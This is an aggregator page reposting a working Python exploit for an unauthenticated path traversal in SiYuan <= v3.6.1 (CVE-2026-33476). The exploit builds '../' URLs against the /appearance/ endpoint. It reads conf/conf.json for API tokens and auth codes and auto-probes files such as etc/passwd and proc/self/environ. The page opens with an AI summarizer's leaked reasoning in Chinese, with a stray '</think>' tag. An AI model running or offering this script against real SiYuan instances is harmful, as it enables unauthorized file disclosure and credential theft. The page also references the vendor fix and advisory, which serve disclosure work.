SiYuan < = v3.6.1 Note unauthenticated arbitrary file read (path traversal)
好的,我现在需要帮用户总结一篇文章的内容,控制在100个字以内。用户提供的文章看起来是一个漏洞的详细说明,包括CVE编号、影响版本、漏洞类型、利用方法等。 首先,我需要快速浏览文章内容,找出关键信息。文章标题提到SiYuan <= v3.6.1存在未认证的任意文件读取漏洞,属于路径遍历类型。漏洞允许攻击者通过/appearance/*端点读取任意文件,比如配置文件conf/conf.json,其中包含敏感信息如API令牌。 接下来,文章提供了利用脚本和使用说明,包括如何运行脚本、指定目标文件和深度等参数。修复版本是v3.6.2,并且有相关的参考链接。 现在,我需要将这些信息浓缩到100字以内。重点包括:漏洞名称、影响版本、漏洞类型、攻击方式、可读取的文件类型以及修复版本。 可能的结构是:SiYuan <= v3.6.1存在未认证路径遍历漏洞,允许攻击者读取任意文件,如配置文件中的敏感信息。该漏洞已被修复于v3.6.2。 检查字数是否在限制内,并确保信息准确无误。 </think> SiYuan <= v3.6.1 存在未认证路径遍历漏洞,允许攻击者通过特定端点读取任意文件(如配置文件),已修复于v3.6.2。 2026-3-26 08:55:6 Author: cxsecurity.com(查看原文) 阅读量:9 收藏

SiYuan <= v3.6.1 Note unauthenticated arbitrary file read (path traversal)

#!/usr/bin/env python3 # Exploit Title: SiYuan <= v3.6.1 Note unauthenticated arbitrary file read (path traversal) # CVE: CVE-2026-33476 # Date: 2026-03-21 # Exploit Author: Mohammed Idrees Banyamer # Author Country: Jordan # Instagram: @banyamer_security # Author GitHub: https://github.com/mbanyamer # Vendor Homepage: https://b3log.org/siyuan # Software Link: https://github.com/siyuan-note/siyuan # Affected: SiYuan <= v3.6.1 # Tested on: SiYuan v3.6.1 (docker / linux) # Category: Webapps # Platform: Linux / Windows / macOS # Exploit Type: Remote File Disclosure # CVSS: 7.5 # CWE: CWE-22, CWE-73 # Description: Unauthenticated path traversal in /appearance/* endpoint allows reading arbitrary files # Fixed in: v3.6.2 # Usage: # python3 exploit.py <target_url> --target-file <path> # python3 exploit.py http://127.0.0.1:6806 --auto # # Examples: # python3 exploit.py http://target:6806 --target-file conf/conf.json # python3 exploit.py http://target:6806 -f ../../../../etc/passwd --depth 10 # # Options: # --target-file Specific file path to attempt to read # --depth Traversal depth (default: 6) # --auto Try multiple common sensitive paths automatically # --timeout Request timeout in seconds (default: 12) # # Notes: # Most useful target: conf/conf.json (contains API token, access auth code, etc.) # Use --auto mode for broad testing of interesting files # # How to Use # Step 1: Run the script against a vulnerable SiYuan instance # Step 2: Use --target-file conf/conf.json to extract credentials/config # Step 3: For system file access try deeper traversal (--depth 8–12) print(r""" ╔════════════════════════════════════════════════════════════════════════════════════════════╗ ║ ║ ║ ▄▄▄▄· ▄▄▄ . ▄▄ • ▄▄▄▄▄ ▄▄▄ ▄▄▄· ▄▄▄· ▄▄▄▄▄▄▄▄▄ .▄▄▄ ▄• ▄▌ ║ ║ ▐█ ▀█▪▀▄.▀·▐█ ▀ ▪•██ ▪ ▀▄ █·▐█ ▀█ ▐█ ▄█•██ ▀▀▄.▀·▀▄ █·█▪██▌ ║ ║ ▐█▀▀█▄▐▀▀▪▄▄█ ▀█ ▐█.▪ ▄█▀▄ ▐▀▀▄ ▄█▀▀█ ██▀· ▐█.▪▐▀▀▪▄▐▀▀▄ █▌▐█· ║ ║ ██▄▪▐█▐█▄▄▌▐█▄▪▐█ ▐█▌·▐█▌.▐▌▐█•█▌▐█ ▪▐▌▐█▪·• ▐█▌·▐█▄▄▌▐█•█▌▐█▄█▌ ║ ║ ·▀▀▀▀ ▀▀▀ ·▀▀▀▀ ▀▀▀ ▀█▄▀▪.▀ ▀ ▀ ▀ .▀ ▀▀▀ ▀▀▀ .▀ ▀ ▀▀▀ ║ ║ ║ ║ b a n y a m e r _ s e c u r i t y ║ ║ ║ ║ >>> Silent Hunter • Shadow Presence <<< ║ ║ ║ ║ Operator : Mohammed Idrees Banyamer Jordan 🇯🇴 ║ ║ Handle : @banyamer_security ║ ║ ║ ║ CVE-2026-33476 • SiYuan arbitrary file read ║ ║ ║ ╚════════════════════════════════════════════════════════════════════════════════════════════╝ """) import argparse import urllib.parse import requests import sys def build_traversal_url(base_url, target_file, levels=5): traversal = "../" * levels target_file = target_file.lstrip("/.").replace("\\", "/") path = f"{traversal}{target_file}" return urllib.parse.urljoin(base_url.rstrip("/") + "/", f"appearance/{path}") def try_read_file(session, url, timeout=10): try: r = session.get(url, timeout=timeout, allow_redirects=False) if r.status_code == 200 and len(r.content) > 0: try: return r.text[:4096] except UnicodeDecodeError: return f"[Binary content - {len(r.content)} bytes]" elif r.status_code in (401, 403): return None else: return f"[Status {r.status_code}] {r.reason}" except requests.RequestException as e: return f"[Error] {str(e)}" def auto_exploit(base_url, max_levels=10): common_targets = [ "conf/conf.json", "data/conf.json", "workspace/conf.json", "data/emojis/README.md", ".siyuan/history.db", "appearance/themes/README.md", "etc/passwd", "proc/self/environ", "Windows/win.ini", "Users/Public/Desktop/test.txt", ] print("[*] Starting automatic traversal test...\n") s = requests.Session() s.headers["User-Agent"] = "Mozilla/5.0 (compatible; SiYuan-PoC/1.0)" for target in common_targets: print(f"→ Target: {target}") found = False for depth in range(3, max_levels + 1): exploit_url = build_traversal_url(base_url, target, depth) result = try_read_file(s, exploit_url) if result is None: continue if "[Error]" not in result and "Status" not in result: print(f" SUCCESS at depth {depth}:") print(f" URL: {exploit_url}") print(f" Content preview:\n{result.rstrip()}\n") found = True break if not found: print(" Not found in tested depths.\n") def main(): parser = argparse.ArgumentParser(description="CVE-2026-33476 SiYuan path traversal PoC") parser.add_argument("url", help="Base URL of SiYuan instance") parser.add_argument("--target-file", "-f", help="Specific file to read") parser.add_argument("--depth", "-d", type=int, default=6, help="Traversal depth") parser.add_argument("--auto", action="store_true", help="Try common files automatically") parser.add_argument("--timeout", type=int, default=12, help="Request timeout") args = parser.parse_args() base = args.url.rstrip("/") if not base.startswith(("http://", "https://")): print("[!] URL must start with http:// or https://") sys.exit(1) print(f"[*] Targeting SiYuan instance: {base}") print("[*] CVE-2026-33476 - Unauthenticated Arbitrary File Read PoC\n") s = requests.Session() s.headers.update({"User-Agent": "Mozilla/5.0 SiYuan-Test/1.0"}) if args.auto: auto_exploit(base, args.depth) elif args.target_file: url = build_traversal_url(base, args.target_file, args.depth) print(f"[*] Attempting to read: {args.target_file}") print(f" URL: {url}\n") content = try_read_file(s, url, args.timeout) if content: print("Result:\n" + "-"*60) print(content) if len(content) > 4000: print("\n... [truncated - full content retrieved]") else: print("[×] Failed - no content or blocked (possibly patched?)") else: parser.print_help() print("\n[!] Please provide --target-file or use --auto mode.") sys.exit(1) if __name__ == "__main__": main()

References:

https://github.com/siyuan-note/siyuan/commit/009bb598b3beccc972aa5f1ed88b3b224326bf2a

https://github.com/siyuan-note/siyuan/security/advisories/GHSA-hhgj-gg9h-rjp7

https://nvd.nist.gov/vuln/detail/CVE-2026-33476

(once published)




 

Thanks for you comment!
Your message is in quarantine 48 hours.

{{ x.nick }}

|

Date:

{{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1


{{ x.comment }}


文章来源: https://cxsecurity.com/issue/WLB-2026030033
如有侵权请联系:admin#unsafe.sh